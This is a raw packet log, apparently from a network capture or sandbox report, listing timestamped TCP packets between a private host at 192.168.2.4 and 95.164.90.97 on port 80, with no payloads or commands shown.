Oct 8, 2024 02:45:32.258188963 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.258196115 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.258228064 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.258483887 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.258514881 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.258536100 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.258550882 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.258554935 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.258583069 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.258589983 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.258615971 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.258625031 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.258650064 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.258665085 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.258697033 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.258706093 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.258729935 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.258737087 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.258761883 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.258769035 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.258801937 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.258810997 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.258842945 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.258850098 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.258876085 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.258882046 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.258908033 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.258914948 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.258956909 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.258963108 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.258995056 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.258996964 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.259023905 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.259037018 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.259056091 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.259066105 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.259094000 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.259094954 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.259110928 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.259125948 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.259134054 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.259140015 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.259152889 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.259155989 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.259171009 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.259171963 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.259190083 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.259218931 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.259247065 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.259260893 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.259284973 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.259304047 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.259412050 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.259428024 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.259442091 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.259455919 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.259469986 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.259470940 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.259495020 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.259514093 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.369493961 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.369537115 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.369570971 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.369599104 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.369606972 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.369623899 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.369640112 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.369668961 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.369673014 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.369695902 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.369704962 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.369720936 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.369740009 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.369745970 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.369779110 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.369841099 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.369874001 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.369890928 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.369904995 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.369920015 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.369934082 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.369955063 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.369967937 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.369977951 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.370007038 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.370012045 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.370034933 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.370054007 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.370079994 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.370196104 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.370243073 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.370244980 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.370277882 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.370295048 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.370311022 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.370323896 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.370343924 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.370361090 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.370376110 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.370389938 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.370409012 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.370424986 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.370440960 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.370454073 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.370474100 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.370486975 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.370507956 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.370521069 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.370543003 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.370553970 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.370574951 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.370589018 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.370608091 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.370620012 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.370640039 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.370660067 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.370671988 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.370682001 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.370704889 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.370718956 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.370738029 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.370754957 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.370769978 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.370783091 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.370801926 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.370815039 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.370835066 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.370846033 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.370878935 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.371174097 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.371206999 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.371226072 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.371239901 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.371247053 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.371273041 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.371279955 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.371305943 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.371316910 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.371339083 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.371349096 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.371371031 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.371392012 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.371416092 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.371439934 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.371473074 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.371484995 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.371505976 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.371516943 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.371539116 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.371550083 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.371572018 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.371583939 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.371604919 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.371615887 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.371638060 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.371650934 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.371670008 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.371679068 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.371704102 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.371710062 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.371736050 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.371747017 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.371769905 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.371781111 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.371803999 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.371814966 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.371848106 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.372107029 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.372140884 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.372157097 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.372172117 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.372179985 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.372206926 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.372216940 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.372239113 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.372250080 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.372271061 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.372282982 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.372303009 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.372314930 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.372335911 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.372347116 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.372368097 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.372380972 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.372400045 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.372410059 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.372432947 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.372446060 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.372478962 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.372512102 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.372545958 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.372561932 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.372577906 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.372582912 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.372611046 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.372620106 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.372643948 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.372653961 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.372677088 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.372689009 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.372709990 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.372721910 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.372747898 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.372755051 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.372780085 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.372791052 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.372823954 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.373008013 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.373039961 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.373056889 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.373070955 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.373080969 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.373104095 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.373114109 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.373136997 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.373147964 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.373169899 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.373178959 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.373202085 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.373214006 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.373234034 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.373245001 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.373265982 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.373276949 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.373298883 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.373308897 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.373331070 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.373342037 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.373364925 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.373374939 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.373397112 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.373409033 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.373430014 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.373440027 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.373461962 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.373476028 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.373495102 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.373502016 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.373527050 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.373537064 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.373562098 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.373570919 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.373594999 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.373605967 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.373629093 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.373637915 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.373661041 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.373672962 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.373694897 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.373704910 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.373738050 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.373780966 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.373814106 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.373831034 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.373856068 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.373920918 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.373954058 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.373970985 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.373985052 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.373990059 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.374018908 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.374025106 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.374049902 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.374063015 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.374082088 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.374092102 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.374114990 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.374126911 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.374149084 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.374159098 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.374181032 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.374191999 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.374214888 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.374223948 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.374247074 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.374258041 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.374280930 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.374289036 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.374325037 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.374524117 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.374571085 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.374572039 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.374604940 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.374614000 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.374638081 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.374648094 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.374680042 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.374686956 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.374717951 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.374731064 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.374747038 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.374759912 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.374778986 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.374793053 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.374820948 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.374838114 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.374871016 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.374888897 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.374903917 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.374912024 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.374937057 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.374946117 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.374969006 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.374984980 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.375001907 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.375013113 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.375035048 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.375046015 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.375066996 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.375076056 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.375101089 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.375109911 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.375132084 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.375144005 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.375165939 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.375176907 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.375199080 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.375209093 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.375241995 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.375463963 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.375513077 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.375514984 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.375549078 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.375555992 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.375581980 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.375592947 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.375614882 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.375624895 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.375648975 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.375660896 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.375680923 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.375689983 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.375714064 CEST	80	51293	95.164.90.97	192.168.2.4
